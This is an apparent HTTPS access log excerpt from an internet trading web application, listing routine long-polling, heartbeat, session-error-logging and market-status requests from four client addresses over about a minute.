[09/Jan/2026:13:38:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:38:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:38:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937352995 HTTP/1.1" -
[09/Jan/2026:13:38:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937351707 HTTP/1.1" -
[09/Jan/2026:13:38:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937362002 HTTP/1.1" -
[09/Jan/2026:13:38:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937372191 HTTP/1.1" -
[09/Jan/2026:13:38:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937358067 HTTP/1.1" -
[09/Jan/2026:13:38:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937356775 HTTP/1.1" -
[09/Jan/2026:13:38:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937367070 HTTP/1.1" -
[09/Jan/2026:13:38:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:38:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937377593 HTTP/1.1" -
[09/Jan/2026:13:38:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:38:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937361850 HTTP/1.1" -
[09/Jan/2026:13:38:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937363205 HTTP/1.1" -
[09/Jan/2026:13:38:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937372164 HTTP/1.1" -
[09/Jan/2026:13:38:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:38:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:38:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937382625 HTTP/1.1" -
[09/Jan/2026:13:38:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937366914 HTTP/1.1" -
[09/Jan/2026:13:38:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937368328 HTTP/1.1" -
[09/Jan/2026:13:38:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937377245 HTTP/1.1" -
[09/Jan/2026:13:38:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:38:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937387683 HTTP/1.1" -
[09/Jan/2026:13:38:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:38:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937371993 HTTP/1.1" -
[09/Jan/2026:13:38:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937373453 HTTP/1.1" -
[09/Jan/2026:13:38:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937382288 HTTP/1.1" -
[09/Jan/2026:13:38:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937392714 HTTP/1.1" -
[09/Jan/2026:13:38:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937377025 HTTP/1.1" -
[09/Jan/2026:13:38:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937378760 HTTP/1.1" -
[09/Jan/2026:13:38:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:38:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:38:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937387386 HTTP/1.1" -
[09/Jan/2026:13:38:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937397780 HTTP/1.1" -
[09/Jan/2026:13:38:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937382083 HTTP/1.1" -
[09/Jan/2026:13:38:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937383906 HTTP/1.1" -
[09/Jan/2026:13:38:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937392461 HTTP/1.1" -
[09/Jan/2026:13:38:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937402800 HTTP/1.1" -
[09/Jan/2026:13:38:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937387115 HTTP/1.1" -
[09/Jan/2026:13:38:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937389009 HTTP/1.1" -
[09/Jan/2026:13:38:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937397555 HTTP/1.1" -
[09/Jan/2026:13:38:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:38:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:38:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937407870 HTTP/1.1" -
[09/Jan/2026:13:38:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937392185 HTTP/1.1" -
[09/Jan/2026:13:38:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937394156 HTTP/1.1" -
[09/Jan/2026:13:38:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937402624 HTTP/1.1" -
[09/Jan/2026:13:38:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:38:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:38:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937412900 HTTP/1.1" -
[09/Jan/2026:13:38:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937397265 HTTP/1.1" -
[09/Jan/2026:13:38:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937399299 HTTP/1.1" -
[09/Jan/2026:13:38:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:38:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937407717 HTTP/1.1" -
[09/Jan/2026:13:38:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:38:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:38:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937418197 HTTP/1.1" -
[09/Jan/2026:13:38:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937402325 HTTP/1.1" -
[09/Jan/2026:13:38:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937404509 HTTP/1.1" -
[09/Jan/2026:13:38:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937412753 HTTP/1.1" -
[09/Jan/2026:13:38:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937424186 HTTP/1.1" -
[09/Jan/2026:13:38:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937407355 HTTP/1.1" -
[09/Jan/2026:13:39:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937409633 HTTP/1.1" -
[09/Jan/2026:13:39:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:39:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:39:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937417852 HTTP/1.1" -
[09/Jan/2026:13:39:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937412464 HTTP/1.1" -
[09/Jan/2026:13:39:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937430186 HTTP/1.1" -
[09/Jan/2026:13:39:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937414759 HTTP/1.1" -
[09/Jan/2026:13:39:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937422926 HTTP/1.1" -
[09/Jan/2026:13:39:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937417534 HTTP/1.1" -
[09/Jan/2026:13:39:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937419812 HTTP/1.1" -
[09/Jan/2026:13:39:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937436186 HTTP/1.1" -
[09/Jan/2026:13:39:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937428012 HTTP/1.1" -
[09/Jan/2026:13:39:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:39:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
